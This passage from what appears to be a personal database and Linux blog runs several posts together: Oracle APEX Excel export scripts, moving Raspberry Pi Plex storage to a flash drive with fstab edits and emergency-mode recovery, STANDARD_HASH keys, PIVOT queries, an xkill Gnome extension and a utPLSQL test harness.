    -- Whole row with green background for id 2
    apex_data_export.add_highlight
    (
        p_highlights => v_highlights,
        p_id => 2,
        p_value_column => 'FAIR_PAY',
        p_text_color => '#000000', -- black
        p_background_color => '#00ffbf' -- green
    );

The finished script is excel_highlight.sql :

set serverout on size unlimited
clear screen

declare

    cursor c_apex_app is
        select ws.workspace_id, ws.workspace, app.application_id, app.page_id
        from apex_application_pages app
        inner join apex_workspaces ws
            on ws.workspace = app.workspace
        order by page_id;    

    v_apex_app c_apex_app%rowtype;    
   
    v_stmnt varchar2(32000);
    
    v_highlights apex_data_export.t_highlights;    
    
    v_context apex_exec.t_context;
    v_export apex_data_export.t_export;
    
    v_dir all_directories.directory_name%type := 'HR_REPORTS';
    v_fname varchar2(128) := 'programmer_pay.xlsx';

    v_fh utl_file.file_type;
    v_buffer raw(32767);
    v_amount integer := 32767;
    v_pos integer := 1;
    v_length integer;
    
begin

    open c_apex_app; 
    fetch c_apex_app into v_apex_app;
    close c_apex_app;
    
    apex_util.set_workspace(v_apex_app.workspace);
    
    apex_session.create_session
    (
        p_app_id => v_apex_app.application_id,
        p_page_id => v_apex_app.page_id,
        p_username => 'anynameyoulike' 
    );
    
    
    -- Add a row with a count of the records in the file
    -- We need to add the relevant data to the query and then format it
    v_stmnt := 
        q'[select first_name, last_name, salary,
            case when salary < 6000 then 1 else 2 end as fair_pay
        from employees
        where job_id = 'IT_PROG']';

    -- text in red for id 1
    apex_data_export.add_highlight(
        p_highlights => v_highlights,
        p_id => 1,
        p_value_column => 'FAIR_PAY',
        p_display_column => 'SALARY',
        p_text_color => '#FF0000' );    
    
    -- Whole row with green background for id 2
    apex_data_export.add_highlight
    (
        p_highlights => v_highlights,
        p_id => 2,
        p_value_column => 'FAIR_PAY',
        p_text_color => '#000000', -- black
        p_background_color => '#00ffbf' -- green
    );
    
    v_context := apex_exec.open_query_context
    (
        p_location => apex_exec.c_location_local_db,
        p_sql_query => v_stmnt
    );    


    -- Pass the highlights object into the export
    v_export := apex_data_export.export
    (
        p_context => v_context,
        p_format => apex_data_export.c_format_xlsx,
        p_highlights => v_highlights 
    );
    
    apex_exec.close( v_context);
    
    v_length := dbms_lob.getlength( v_export.content_blob);
    v_fh := utl_file.fopen( v_dir, v_fname, 'wb', 32767);
    
    while v_pos <= v_length loop
        dbms_lob.read( v_export.content_blob, v_amount, v_pos, v_buffer);
        utl_file.put_raw(v_fh, v_buffer, true);
        v_pos := v_pos + v_amount;
    end loop;
        
    utl_file.fclose( v_fh);
    dbms_output.put_line('File written to HR_REPORTS');

exception when others then
    dbms_output.put_line(sqlerrm);
    if utl_file.is_open( v_fh) then
        utl_file.fclose(v_fh);
    end if;    
end;
/

…and the output…

The GET_PRINT_CONFIG function offers a plethora of document formatting options…and a chance for me to demonstrate that I’m really more of a back-end dev.

To demonstrate just some of the available options, I have :

• changed the header and body font family to Times (default is Helvetica)
• set the heading text to be White and bold
• set the header background to be Dark Gray ( or Grey, if you prefer)
• set the body background to be Turquoise
• set the body font colour to be Midnight Blue

All of which looks like this :

v_print_config := apex_data_export.get_print_config
(
    p_header_font_family => apex_data_export.c_font_family_times, -- Default is "Helvetica"
    p_header_font_weight => apex_data_export.c_font_weight_bold, --  Default is "normal"
    p_header_font_color => '#FFFFFF', -- White
    p_header_bg_color => '#2F4F4F', -- DarkSlateGrey/DarkSlateGray
    p_body_font_family => apex_data_export.c_font_family_times,
    p_body_bg_color => '#40E0D0', -- Turquoise
    p_body_font_color => '#191970' -- MidnightBlue
);        

Note that, according to the documentation, GET_PRINT_CONFIG will also accept HTML colour names or RGB codes.

Anyway, the script is called excel_print_config.sql :

set serverout on size unlimited
clear screen

declare
        cursor c_apex_app is
        select ws.workspace_id, ws.workspace, app.application_id, app.page_id
        from apex_application_pages app
        inner join apex_workspaces ws
            on ws.workspace = app.workspace
        order by page_id;    

    v_apex_app c_apex_app%rowtype;    
   
    v_stmnt varchar2(32000);
    
    v_context apex_exec.t_context;
   
    v_print_config apex_data_export.t_print_config;
    v_export apex_data_export.t_export;    

    -- File handling variables
    v_dir all_directories.directory_name%type := 'HR_REPORTS';
    v_fname varchar2(128) := 'crayons.xlsx';

    v_fh utl_file.file_type;
    v_buffer raw(32767);
    v_amount integer := 32767;
    v_pos integer := 1;
    v_length integer;
begin


    open c_apex_app; 
    fetch c_apex_app into v_apex_app;
    close c_apex_app;
    
    apex_util.set_workspace(v_apex_app.workspace);
    
    apex_session.create_session
    (
        p_app_id => v_apex_app.application_id,
        p_page_id => v_apex_app.page_id,
        p_username => 'anynameyoulike'
    );

    v_stmnt := 'select * from departments';
    
    v_context := apex_exec.open_query_context
    (
        p_location => apex_exec.c_location_local_db,
        p_sql_query => v_stmnt
    );    
    
    -- Let's do some formatting.
    -- OK, let's just scribble with the coloured crayons...
    v_print_config := apex_data_export.get_print_config
    (
        p_header_font_family => apex_data_export.c_font_family_times, -- Default is "Helvetica"
        p_header_font_weight => apex_data_export.c_font_weight_bold, --  Default is "normal"
        p_header_font_color => '#FFFFFF', -- White
        p_header_bg_color => '#2F4F4F', -- DarkSlateGrey/DarkSlateGray
        p_body_font_family => apex_data_export.c_font_family_times,
        p_body_bg_color => '#40E0D0', -- Turquoise
        p_body_font_color => '#191970' -- MidnightBlue
    );        

    -- Specify the print_config in the export
    v_export := apex_data_export.export
    (
        p_context => v_context,
        p_format => apex_data_export.c_format_xlsx,
        p_print_config => v_print_config
    );
    
    apex_exec.close( v_context);
    
    v_length := dbms_lob.getlength( v_export.content_blob);
    v_fh := utl_file.fopen( v_dir, v_fname, 'wb', 32767);
    
    while v_pos <= v_length loop
        dbms_lob.read( v_export.content_blob, v_amount, v_pos, v_buffer);
        utl_file.put_raw(v_fh, v_buffer, true);
        v_pos := v_pos + v_amount;
    end loop;
    
    utl_file.fclose( v_fh);

    dbms_output.put_line('File written to HR_REPORTS');
    
exception when others then
    dbms_output.put_line(sqlerrm);
    if utl_file.is_open( v_fh) then
        utl_file.fclose(v_fh);
    end if;    
end;
/    

…and the resulting file is about as garish as you’d expect…

On the off-chance that you might prefer a more subtle colour scheme, you can find a list of HTML colour codes here.

Since setting up my Raspberry Pi as a Plex Media Server a few years ago, the reliable application of Moore’s Law has brought us to a point where a humble USB flash drive now has sufficient capacity to cope with all of my media files and then some.
Therefore, I felt it was probably time to retire the powered external HDD that had been doing service as storage and replace it with a nice, compact stick.

The Pi in question is a Pi3 and is running Raspbian 11 (Bullseye).
The main consideration here was that I wanted to ensure that the new storage was visible to Plex from the same location as before so that I didn’t have to go through the rigmarole of validating and correcting all of the metadata that Plex retrieves for each media file ( Movie details etc).

Having copied the relevant files from the HDD to the new Flash Drive, I was ready to perform this “simple” admin task.
The steps to accomplish this are set out below.

Also detailed are some of the issues I ran into and how I managed to solve them, just in case you’ve stumbled across this post in a desparate search for a solution to your beloved fruit-based computer having turned into a slice of Brick Pi. In fact, let’s start with…

On one occasion, after editing the fstab file and rebooting, I found the Pi unresponsive.
Having connected a display and keyboard to the Pi and starting it again, I was greeted with the message :

"You are in emergency mode. After logging in, type "journalctl -xb" to view system logs, "systemctl reboot to reboot, "systemctl default" or ^D to try again to boot into the default mode.

Press Enter to continue

…and after pressing enter…

"Cannot open access to console, the root accoutn is locked.
See sulogin(8) man page for more details.
Press Enter to continue...

…after which pressing Enter seems to have little effect.

According to this Stack Exchange thread, one solution would be to remove the SD card from the Pi, mount it on a suitable filesystem on alternative hardware ( e.g. a laptop) and edit the /etc/fstab file to remove the offending entry.

I took the other route…

Start by Rebooting and hold down the [Shift] key so that Raspbian takes you to the Noobs screen.

Now, from the top menu, select Edit config. This opens an editor with two tabs – config and cmdline.txt

We want to edit the cmdline.txt so click on that tab.

Despite appearances, this file is all on a single line so when you append to it, you need to add a space at the start and not a newline. To persuade Raspbian to give us access to a command prompt, we need to append :

 init=/bin/sh

Now, save the file then choose Exit (Esc) from the NOOBS menu so that the Pi continues to boot.

You should now be resarded with a ‘#’ prompt.

At this point, the filesystem is mounted but is read only. As we want to fix the issue by editing (i.e. writing to) the /etc/fstab file, we need to remount it in read/write mode. We can do this by typing the following at the prompt :

mount -n -o remount,rw /

Now, finally, I can use nano to remove the offending entry from /etc/fstab

nano /etc/fstab

At this point, you have the option of editing the cmdline.txt so that the Pi starts normally, by editing the file :

nano /boot/cmdline.txt

Alternatively, you may prefer to let the Pi restart and hold down [SHIFT] and do the edit in the NOOBs screen.

You would then exit NOOBS and the Pi should boot normally.

Either way, we can reboot by typing :

reboot

…at the prompt.

Hopefully, you won’t need to go through any of this pain as what follows did work as expected…

First of all, we need to identify the device :

sudo fdisk -l |grep /dev/sda

In my case, there’s just one device – /dev/sda1.

Now I need to unmount it :

umount /dev/sda1

We then need to ensure that it isn’t mounted next time we boot
to do this, we need to edit /etc/fstab and comment out the appropriate entry :

sudo nano /etc/fstab

Rather than deleting it altogether, I’ve just commented it out the relevant line, in case I need to put it back for any reason :

# Below is entry for Seagate external HDD via a powered USB Hub
#UUID=68AE9F66AE9F2C16 /mnt/usbstorage ntfs nofail,uid=pi,gid=pi    0   0

In order to make sure that this has all worked as expected, I physically disconnect the external HDD from the pi and restart it with

sudo reboot

Well, these days the simplest way to mount the drive is just to plug it in to one of the USB ports on the Pi. Raspbian then automagically mounts it to :

/media/pi

Initially, I thought I’d try to simply create a symbolic link under the now empty mount point where the external HDD used to live :

ln -s ../../media/pi/SanDisk/Media /mnt/usbstorage

…and then restart the Plex Server…

sudo service plexmediaserver stop
sudo service plexmediaserver start

Unfortunately, whilst we don’t get any errors on the command line, the Plex itself refuses to read the link and insisted that all of the media files under /mnt/usbstorage are “Unavailable”.

Therefore, we need to do things properly and explicitly mount the Flash Drive to the desired mount point.

First of all, we need to confirm the type of filesystem on the drive we want to mount.
Whilst fdisk gives us the device name, it seems to be hedging it’s bets as regards the filesystem type :

sudo fdisk -l |grep /dev/sda
Disk /dev/sda: 466.3 GiB, 500648902656 bytes, 977829888 sectors
/dev/sda1        7552 977829887 977822336 466.3G  7 HPFS/NTFS/exFAT

Fortunately, there’s a more reliable way to confirm the type, which gives as the UUID for the Flash Drive as well…

sudo blkid /dev/sda1
/dev/sda1: LABEL="SanDisk" UUID="8AF9-909A" TYPE="exfat" PARTUUID="c3072e18-01"

The type of the old external HDD was NTFS, so it’s likely I’ll need to download some packages to add exFat support on the pi :

sudo apt install exfat-fuse
sudo apt install exfat-utils

Once apt has done it’s thing and these packages are installed, we can then add an entry to fstab to mount the Flash Drive on the required directory every time the Pi starts :

sudo nano /etc/fstab

The line we need to add is in the format:

UUID=<flash drive UUID> <mount point> <file system type> <options> 0 0

The options I’ve chosen to specify are :

• defaults – use the default options rw, suid, dev, exec, auto, nouser and async
• users – Allow any user to mount and to unmount the filesystem, even when some other ordinary user mounted it.
• nofail – do not report errors for this device if it does not exist
• 0 – exclude from any system backup
• 0 – do not indluce this device in fsck check

So, my new entry is :

UUID=8AF9-909A /mnt/usbstorage exfat defaults,users,nofail 0 0

Once these changes are saved, we can check that the command will work :

unmount /dev/sda1

mount -a

If you don’t get any feedback from this command, it’s an indication that it worked as expected.
You should now be able to see the file system on the flash drive under /mnt/usbstorage :

ls -l /mnt/usbstorage/

total 2816
-rwxr-xr-x 1 root root 552605 Sep 23  2021 Install SanDisk Software.dmg
-rwxr-xr-x 1 root root 707152 Sep 23  2021 Install SanDisk Software.exe
drwxr-xr-x 5 root root 262144 Dec 31 16:19 Media
drwxr-xr-x 3 root root 262144 Apr 10  2018 other_plex_metadata
drwxr-xr-x 6 root root 262144 Mar 11  2017 Photos
-rwxr-xr-x 1 root root 300509 Sep 23  2021 SanDisk Software.pdf

One final step – reboot the pi once more to ensure that your mount is permanent.

With that done, I should be able to continue enjoying my media server, but with substantially less hardware.

There are a couple of sites that may be of interest :

There is an explanation of the fstab options here.

You can find further details on the cmdline.txt file here.

In Oracle, identity columns are a perfect way of generating a synthetic key value as the underlying sequence will automatically provide you with a unique value every time it’s invoked, pretty much forever.
One minor disadvantage of sequence generated key values is that you cannot predict what they will be ahead of time.
This may be a bit of an issue if you need to provide traceability between an aggregated record and it’s component records, or if you want to update an existing aggregation in a table without recalculating it from scratch.
In such circumstances you may find yourself needing to write the key value back to the component records after generating the aggregation.
Even leaving aside the additional coding effort required, the write-back process may be quite time consuming.
This being the case, you may wish to consider an alternative to the sequence generated key value and instead, use a hashing algorithm to generate a unique key before creating the aggregation.

That’s your skeptical face.

You’re clearly going to take some convincing that this isn’t a completely bonkers idea.
Well, if you can bear with me, I’ll explain.
Specifically, what I’ll look at is :

• using the STANDARD_HASH function to generate a unique key
• the chances of the same hash being generated for different values
• before you rush out to buy a lottery ticket ( part one) – null values
• before you rush out to buy a lottery ticket (part two) – date formats
• before you rush out to buy a lottery ticket (part three) – synching the hash function inputs with the aggregation’s group by
• a comparison between the Hashing methods that can be used with STANDARD_HASH

Just before we dive in, I should mention Dani Schnider’s comprehensive article on this topic, which you can find here.

I have a table called DISCWORLD_BOOKS_STAGE – a staging table that currently contains :

select *
from discworld_books_stage;

TITLE                       PAGES SUB_SERIES             YOUNG_ADULT_FLAG
---------------------- ---------- ---------------------- ----------------
The Wee Free Men              404 TIFFANY ACHING         Y               
Monstrous Regiment            464 OTHER                                  
A Hat Full of Sky             298 TIFFANY ACHING         Y               
Going Postal                  483 INDUSTRIAL REVOLUTION                  
Thud                          464 THE WATCH                              
Wintersmith                   388 TIFFANY ACHING         Y               
Making Money                  468 INDUSTRIAL REVOLUTION                  
Unseen Academicals            533 WIZARDS                                
I Shall Wear Midnight         434 TIFFANY ACHING         Y               
Snuff                         370 THE WATCH                              
Raising Steam                 372 INDUSTRIAL REVOLUTION                  
The Shepherd's Crown          338 TIFFANY ACHING         Y               

I want to aggregate a count of the books and total number of pages by Sub-Series and whether the book is a Young Adult title and persist it in a new table, which I’ll be updating periodically as new data arrives.

Using the STANDARD_HASH function, I can generate a unique value for each distinct sub_series, young_adult_flag value combination by running :

select 
    standard_hash(sub_series||'#'||young_adult_flag||'#') as cid,
    sub_series,
    young_adult_flag,
    sum(pages) as total_pages,
    count(title) as number_of_books
from discworld_books_stage
group by sub_series, young_adult_flag
order by 1
/

CID                                      SUB_SERIES                YA TOTAL_PAGES   NO_BOOKS
---------------------------------------- ------------------------- -- ----------- ----------
08B0E5ECC3FD0CDE6732A9DBDE6FF2081B25DBE2 WIZARDS                              533          1
8C5A3FA1D2C0D9ED7623C9F8CD5F347734F7F39E INDUSTRIAL REVOLUTION               1323          3
A7EFADC5EB4F1C56CB6128988F4F25D93FF03C4D OTHER                                464          1
C66E780A8783464E89D674733EC16EB30A85F5C2 THE WATCH                            834          2
CE0E74B86FEED1D00ADCAFF0DB6DFB8BB2B3BFC6 TIFFANY ACHING            Y         1862          5

OK, so we’ve managed to get unique values across a whole seven rows. But, lets face it, generating a synthetic key value in this way does introduce the risk of a duplicate hash being generated for multiple unique records.

As for how much of a risk…

In hash terms, generating the same value for two different inputs is known as a collision.

The odds on this happening for each of the methods usable with STANDARD_HASH are :

By default, STANDARD_HASH uses SHA1. The odds of a SHA1 collision are :

1 in 1,208,925,819,614,629,174,706,176

By comparison, winning the UK Lottery Main Draw is pretty much nailed on at odds of

1 in 45,057,474

So, if you do happen to come a cropper on that 12 octillion ( yes, that’s really a number)-to-one chance then your next move may well be to run out and by a lottery ticket.
Before you do, however, it’s worth checking to see that you haven’t fallen over one or more of the following…

Remember that the first argument we pass in to the STANDARD_HASH function is a concatenation of values.
If we have two nullable columns together we may get the same concatenated output where one of the values is null :

with nulltest as (
    select 1 as id, 'Y' as flag1, null as flag2 from dual union all
    select 2, null, 'Y' from dual 
)
select id, flag1, flag2, 
    flag1||flag2 as input_string,
    standard_hash(flag1||flag2) as hash_val
from nulltest
/


       ID F F INPUT_STRING HASH_VAL                                
---------- - - ------------ ----------------------------------------
         1 Y   Y            23EB4D3F4155395A74E9D534F97FF4C1908F5AAC
         2   Y Y            23EB4D3F4155395A74E9D534F97FF4C1908F5AAC

To resolve this, you can use the NVL function on each column in the concatenated input to the STANDARD_HASH function.
However, this is likely to involve a lot of typing if you have a large number of columns.
Instead, you may prefer to simply concatenate a single character after each column:

with nulltest as (
    select 1 as id, 'Y' as flag1, null as flag2 from dual union all
    select 2, null, 'Y' from dual 
)
select id, flag1, flag2, 
    flag1||'#'||flag2||'#' as input_string,
    standard_hash(flag1||'#'||flag2||'#') as hash_val
from nulltest
/

       ID F F INPUT_STRING HASH_VAL                                
---------- - - ------------ ----------------------------------------
         1 Y   Y##          2AABF2E3177E9A5EFBD3F65FCFD8F61C3C355D67
         2   Y #Y#          F84852DE6DC29715832470A40B63AA4E35D332D1

Whilst concatenating a character into the input string does solve the null issue, it does mean we also need to consider…

If you just pass a date into STANDARD_HASH, it doesn’t care about the date format :

select 
    sys_context('userenv', 'nls_date_format') as session_format, 
    standard_hash(trunc(sysdate)) 
from dual;

SESSION_FORMAT STANDARD_HASH(TRUNC(SYSDATE))           
-------------- ----------------------------------------
DD-MON-YYYY    9A2EDB0D5A3D69D6D60D6A93E04535931743EC1A

alter session set nls_date_format = 'YYYY-MM-DD';   

select 
    sys_context('userenv', 'nls_date_format') as session_format, 
    standard_hash(trunc(sysdate)) 
from dual;

SESSION_FORMAT STANDARD_HASH(TRUNC(SYSDATE))           
-------------- ----------------------------------------
YYYY-MM-DD     9A2EDB0D5A3D69D6D60D6A93E04535931743EC1A

However, if the date is part of a concatenated value, the NLS_DATE_FORMAT will affect the output value as the date is implicitly converted to a string…

alter session set nls_date_format = 'DD-MON-YYYY';

Session altered.

select standard_hash(trunc(sysdate)||'XYZ') from dual;

STANDARD_HASH(TRUNC(SYSDATE)||'XYZ')    
----------------------------------------
DF0A192333BDF860AAB338C66D9AADC98CC2BA67

alter session set nls_date_format = 'YYYY-MM-DD';

Session altered.

select standard_hash(trunc(sysdate)||'XYZ') from dual;

STANDARD_HASH(TRUNC(SYSDATE)||'XYZ')    
----------------------------------------
FC2999F8249B89FE88D4C0394CC114A85DAFBBEF

Therefore, it’s probably a good idea to explicitly set the NLS_DATE_FORMAT in the session before generating the hash.

I have another table called DISCWORLD_BOOKS :

select sub_series, main_character
from discworld_books
where sub_series = 'DEATH';

SUB_SERIES           MAIN_CHARACTER                
-------------------- ------------------------------
DEATH                MORT                          
DEATH                DEATH                         
DEATH                DEATH                         
DEATH                SUSAN STO HELIT               
DEATH                LU TZE                        

If I group by SUB_SERIES and MAIN_CHARACTER, I need to ensure that I include those columns as input into the STANDARD_HASH function.
Otherwise, I’ll get the same hash value for different groups.

For example, running this will give us the same hash for each aggregated row in the result set :

select 
    sub_series, 
    main_character, 
    count(*),
    standard_hash(sub_series||'#') as cid
from discworld_books
where sub_series = 'DEATH'
group by sub_series, main_character,
standard_hash(sub_series||main_character)
order by 1
/

SUB_SERIES           MAIN_CHARACTER                   COUNT(*) CID          
-------------------- ------------------------------ ---------- ----------------------------------------
DEATH                MORT                                    1 5539A1C5554935057E60CBD021FBFCD76CB2EB93
DEATH                DEATH                                   2 5539A1C5554935057E60CBD021FBFCD76CB2EB93
DEATH                LU TZE                                  1 5539A1C5554935057E60CBD021FBFCD76CB2EB93
DEATH                SUSAN STO HELIT                         1 5539A1C5554935057E60CBD021FBFCD76CB2EB93

What we’re actually looking for is :

select 
    sub_series, 
    main_character, 
    count(*),
    standard_hash(sub_series||'#'||main_character||'#') as cid
from discworld_books
where sub_series = 'DEATH'
group by sub_series, main_character,
standard_hash(sub_series||main_character)
order by 1
/

SUB_SERIES           MAIN_CHARACTER         COUNT(*)   CID          
-------------------- ---------------------- -------- ----------------------------------------
DEATH                MORT                          1 01EF7E9D4032CFCD901BB2A5A3E2A3CD6A09CC18           
DEATH                DEATH                         2 167A14D874EA960F6DB7C2989A3E9DE07FAF5872           
DEATH                LU TZE                        1 5B933A07FEB85D6F210825F9FC53F291FB1FF1AA           
DEATH                SUSAN STO HELIT               1 0DA3C5B55F4C346DFD3EBC9935CB43A35933B0C7           

We’re going to populate this table :

create table discworld_subseries_aggregation
(
    cid varchar2(128),
    sub_series varchar2(50),
    young_adult_flag varchar2(1),
    number_of_books number,
    total_pages number
)
/

…with the current contents of the DISCWORLD_BOOKS_STAGE table from earlier. We’ll then cleardown the staging table, populate it with a new set of data and then merge it into this aggregation table.

alter session set nls_date_format = 'DD-MON-YYYY';

merge into discworld_subseries_aggregation agg
using 
(
    select 
        cast(standard_hash(sub_series||'#'||young_adult_flag||'#') as varchar2(128))  as cid,
        sub_series,
        young_adult_flag,
        count(title) as number_of_books,
        sum(pages) as total_pages
    from discworld_books_stage
    group by sub_series, young_adult_flag
) stg   
on ( agg.cid = stg.cid)
when matched then update
    set agg.number_of_books = agg.number_of_books + stg.number_of_books,
        agg.total_pages = agg.total_pages + stg.total_pages
when not matched then insert ( cid, sub_series, young_adult_flag, number_of_books, total_pages)
values( stg.cid, stg.sub_series, stg.young_adult_flag, stg.number_of_books, stg.total_pages)
/

commit;

truncate table discworld_books_stage;

Once we’re run this, the conents of DISCWORLD_SUBSERIES_AGGREGATION is :

Next, we insert the rest of the Discworld books into the staging table :

And run the merge again :

alter session set nls_date_format = 'DD-MON-YYYY';

merge into discworld_subseries_aggregation agg
using 
(
    select 
        cast(standard_hash(sub_series||'#'||young_adult_flag||'#') as varchar2(128))  as cid,
        sub_series,
        young_adult_flag,
        count(title) as number_of_books,
        sum(pages) as total_pages
    from discworld_books_stage
    group by sub_series, young_adult_flag
) stg   
on ( agg.cid = stg.cid)
when matched then update
    set agg.number_of_books = agg.number_of_books + stg.number_of_books,
        agg.total_pages = agg.total_pages + stg.total_pages
when not matched then insert ( cid, sub_series, young_adult_flag, number_of_books, total_pages)
values( stg.cid, stg.sub_series, stg.young_adult_flag, stg.number_of_books, stg.total_pages)
/

7 rows merged.

Whilst you may consider the default SHA1 method perfectly adequate for generating unique values, it may be of interest to examine the relative performance of the other available hashing algorithms.

For what it’s worth, my tests on an OCI Free Tier 19c instance using the following script were not that conclusive :

with hashes as 
(
    select rownum as id, standard_hash( rownum, 'MD5' ) as hash_val  
    from dual 
    connect by rownum <= 1000000
)
select hash_val, count(*) 
from hashes
group by hash_val 
having count(*) > 1
/

Running this twice for each method,replacing ‘MD5’ with each of the available algorithms in turn :

I would imagine that, among other things, performance may be affected by the length of the input expression to the function.

Dr Who recently celebrated it’s 60th Anniversary and the BBC marked the occasion by making all episodes since 1963 available to stream.
This has given me the opportunity to relive those happy childhood Saturday afternoons spent cowering behind the sofa watching Tom Baker
take on the most fiendish adversaries that the Costume department could conjure up in the days before CGI.
Like the Doctor, I too am I time traveller. OK, so I can only move forwards through time, but I do have some knowledge of the future.
For example, present me knows that future me is an idiot who will undoubtedly forget of the syntax for the Pivot command in Oracle SQL
next time he wants to pivot some VARCHAR2 columns.
So if you are future me, this is for you. You owe me a drink…

I have a simple table :

create table doctor_who
(
    incarnation varchar2(50),
    actor varchar2(100)
)
/

which I’ve populated with the following records :

select incarnation, actor 
from doctor_who;

INCARNATION          ACTOR                         
-------------------- ------------------------------
1st                  William Hartnell              
2nd                  Patrick Troughton             
3rd                  Jon Pertwee                   
4th                  Tom Baker                     
5th                  Peter Davison                 
6th                  Colin Baker                   
7th                  Sylvester McCoy               
8th                  Paul McGann                   
9th                  Christopher Eccleston         
10th                 David Tennant                 
11th                 Matt Smith                    
12th                 Peter Capaldi                 
13th                 Jodie Whittaker               
14th                 David Tennant                 
15th                 Ncuti Gatwa                   
Fugitive Doctor      Jo Martin                     
War Doctor           John Hurt                     

17 rows selected. 

If I want a query to return a single row which lists selected incarnations, I can do this :

select * 
from 
(
    select 
        incarnation,
        actor
    from doctor_who
)
pivot
(
    max(actor)
    for incarnation in 
    (
        '1st' as first,
        '4th' as fourth,
        '10th' as tenth,
        'War Doctor' as war,
        'Fugitive Doctor' as fugitive
    )
)
/

Which returns :

FIRST            FOURTH      TENTH           WAR           FUGITIVE            
-------------    ----------- --------------- ------------- -------------------
William Hartnell Tom Baker   David Tennant   John Hurt     Jo Martin           

The first thing to notice here is that the PIVOT clause insists on an aggregate function for the column that holds the data you want to display.
Failure to use one results in :

ORA-56902: expect aggregate function inside pivot operation

Fortunately, the MAX function works happily with VARCHAR2 and doesn’t impact the data in ACTOR, because there’s only one value for each incarnation in our example.

Unsurprisingly, the subquery needs to include both the columns to pivot and those containing the values we want to display.

If you think having a list of Doctor Who Actors means that we already have quite enough stars, you can tweak the query so that we name the columns we’re querying in the SELECT clause.
Note that you can only use columns that you’ve defined in the PIVOT clause ( although you don’t have to use all of them) :

select fourth, tenth, war, fugitive
    -- Not selecting "first", although it's defined in the PIVOT clause
    -- may be useful when developing/debugging
from 
(
    select 
        incarnation,
        actor
    from doctor_who
)
pivot
(
    max(actor)
    for incarnation in 
    (
        '4th' as fourth,
        '10th' as tenth,
        'War Doctor' as war,
        'Fugitive Doctor' as fugitive,
        '1st' as first
    )
)
/

FOURTH               TENTH                WAR                  FUGITIVE            
-------------------- -------------------- -------------------- --------------------
Tom Baker            David Tennant        John Hurt            Jo Martin           

Finally, as you’d expect, the PIVOT CLAUSE does not affect the number of rows read to process the query.
For that, we still need a good old fashoined WHERE CLAUSE in the subquery.

On my OCI 19c Free Tier instance, the plan for the above statement is :

If we add a WHERE CLAUSE. however :

select fourth, tenth, war, fugitive
from 
(
    select 
        incarnation,
        actor
    from doctor_who
    where incarnation in ('4th', '10th', 'War Doctor', 'Fugitive Doctor', '1st')
)
pivot
(
    max(actor)
    for incarnation in 
    (
        '4th' as fourth,
        '10th' as tenth,
        'War Doctor' as war,
        'Fugitive Doctor' as fugitive,
        '1st' as first
    )
)
/

Now that’s done, I can watch the next episode of Dr Who and the Sticky-back Plastic Monster. Unfortunately, I no longer fit behind the sofa.

To distract myself from England’s ongoing woes at the Cricket World Cup, I’ve been playing the simple-yet-addictive London Tube Map Memory Game .
Having not taken the tube for a few years now, it’s proving something of a challenge.
It doesn’t help that they’ve added quite a few stations recently.
Another test of my memory occurs on those rare occasions where I want to terminate a frozen window on my Gnome desktop.
There’s an excellent utility called xkill which does the job…and which I can never remember the name of !
Fortunately there is a Gnome Shell Extension which will add an icon to the gnome-panel at the top of the screen so
it’s only a mouse-click away…

Let’s start with a quick look at xkill in action :

Before we go any further, it’s probably a good idea to confirm which versions of Ubuntu and Gnome I currently have running.

For Ubuntu itself :

cat /etc/release
Ubuntu 22.04.3 LTS \n \l

…and for Gnome…

gnome-shell --version 
GNOME Shell 42.9

One way to manage Gnome Shell Extensions is to install the appropriately named Extension Manager.
To do this, open a Terminal and run :

sudo apt install gnome-shell-extension-manager

Once installed, you should then find Extension Manager in Activities :

Open it and you’ll see

Click the Browse tab to search for extensions

I know that the Extension I want is called Force Quit and the author is megh. Extension Manager can’t find the Extension by it’s name, but it does if we search for the author

Clicking the Install Button and confirming when prompted causes the extension to be installed and activiated.
We can now see it in the Activity Bar :

Let’s give it a try

Well, that’s one less thing to remember.
Back to ignoring the cricket !

If you’re working on a Decision Support System (DSS) then sooner or later you’re likely to need to create or change a package which runs as part of a lengthy batch process.
In such cirumstances, it would be useful to have a good old-fashioned test harness to run your code so you can test it’s functionality without having to kick off the entire batch.

Fortunately, utPLSQL is not just useful when it comes to TDD, CI/CD pipelines and the like. It can easily be used for the purpose of creating a simple stand-alone unit test for a single package.

Having used utPLSQL for this purpose quite regularly, I’ve found that my test harnesses tend to follow the same basic pattern.
What follows is a walkthrough of a typical utPLSQL package I might construct for this purpose.

Obviously, it won’t be to everyone’s taste but hopefully, you’ll find something of use in it.

If you’re interested, you can find the code in this Github Repo.

The main purpose of these tests is to check that the program being tested produces a set result for a set input.
Each individual test is structured in four sequential phases :

• Setup – setup the input data to use in the test
• Execute – run the test and retrieve the output
• Validate – check that the output matches what we expect
• Teardown – reset the everything back to how it was before we ran the test.

Whilst tables in DSS applications can contain a large number of columns, our test records only need to contain values that are :

• mandatory in the table ( or possibly part of an RI constraint or Unique Key)
• relevant to the test we’re conducting

In terms of the values themselves, they are not usually constrained other than by the definition of the column into which they are being inserted.
Therefore, we may be able to use negative numbers for integer identifiers to avoid clashes with any pre-existing records.
Also there may be nothing to stop us using random strings for VARCHAR2 values. Alternatively, if you’re easily amused, you may craft your test values to follow a theme. Not that I’d ever do anything so frivolous…

The database I’m running on is Oracle 19c on Oracle Cloud (Free Tier).
The version of utPLSQL used here is 3.1.13, downloaded from the Project’s Github Repo

It was installed without the DDL trigger by connecting to my OCI instance as the Admin user and following the appropriate instructions here.

The package we want to test performs updates on this table :

drop table employees_core;
create table employees_core
(
    -- Columns populated by initial load
    load_id number not null,
    employee_id number not null,
    first_name varchar2(20),
    last_name varchar2(25),
    email varchar2(25),
    phone_number varchar2(20),
    hire_date date,
    job_id varchar2(10),
    salary number,
    commission_pct number,
    manager_id number,
    department_id number,
    -- Additional columns populated as part of enrichment process
    -- Job details
    job_title varchar2(50),
    -- Department Details
    department_name varchar2(50),
    -- Enrichment status
    record_status varchar2(25),
    constraint employees_core_pk primary key (load_id, employee_id)
)
/

To do so, it queries these tables :

create table departments
(
    department_id number not null,
    department_name varchar2(30) not null,
    manager_id number,
    location_id number,
    constraint departments_pk primary key ( department_id)
)
/

create table jobs
(
    JOB_ID varchar2(10) not null,
    JOB_TITLE varchar2(35) not null,
    MIN_SALARY number,
    MAX_SALARY number,
    constraint jobs_pk primary key( job_id)
)
/

The package itself is :

create or replace package enrich_employees 
is
    procedure department_details( i_load_id in number);
    procedure job_details( i_load_id in number);
end;
/

create or replace package body enrich_employees 
is
    procedure department_details( i_load_id in number)
    is
        -- Populate the Department Name.
        -- Suspend the record if we don't get a match.
    begin
        merge into employees_core emp
        using departments dept
        on 
        ( 
                emp.department_id = dept.department_id
            and emp.load_id = i_load_id
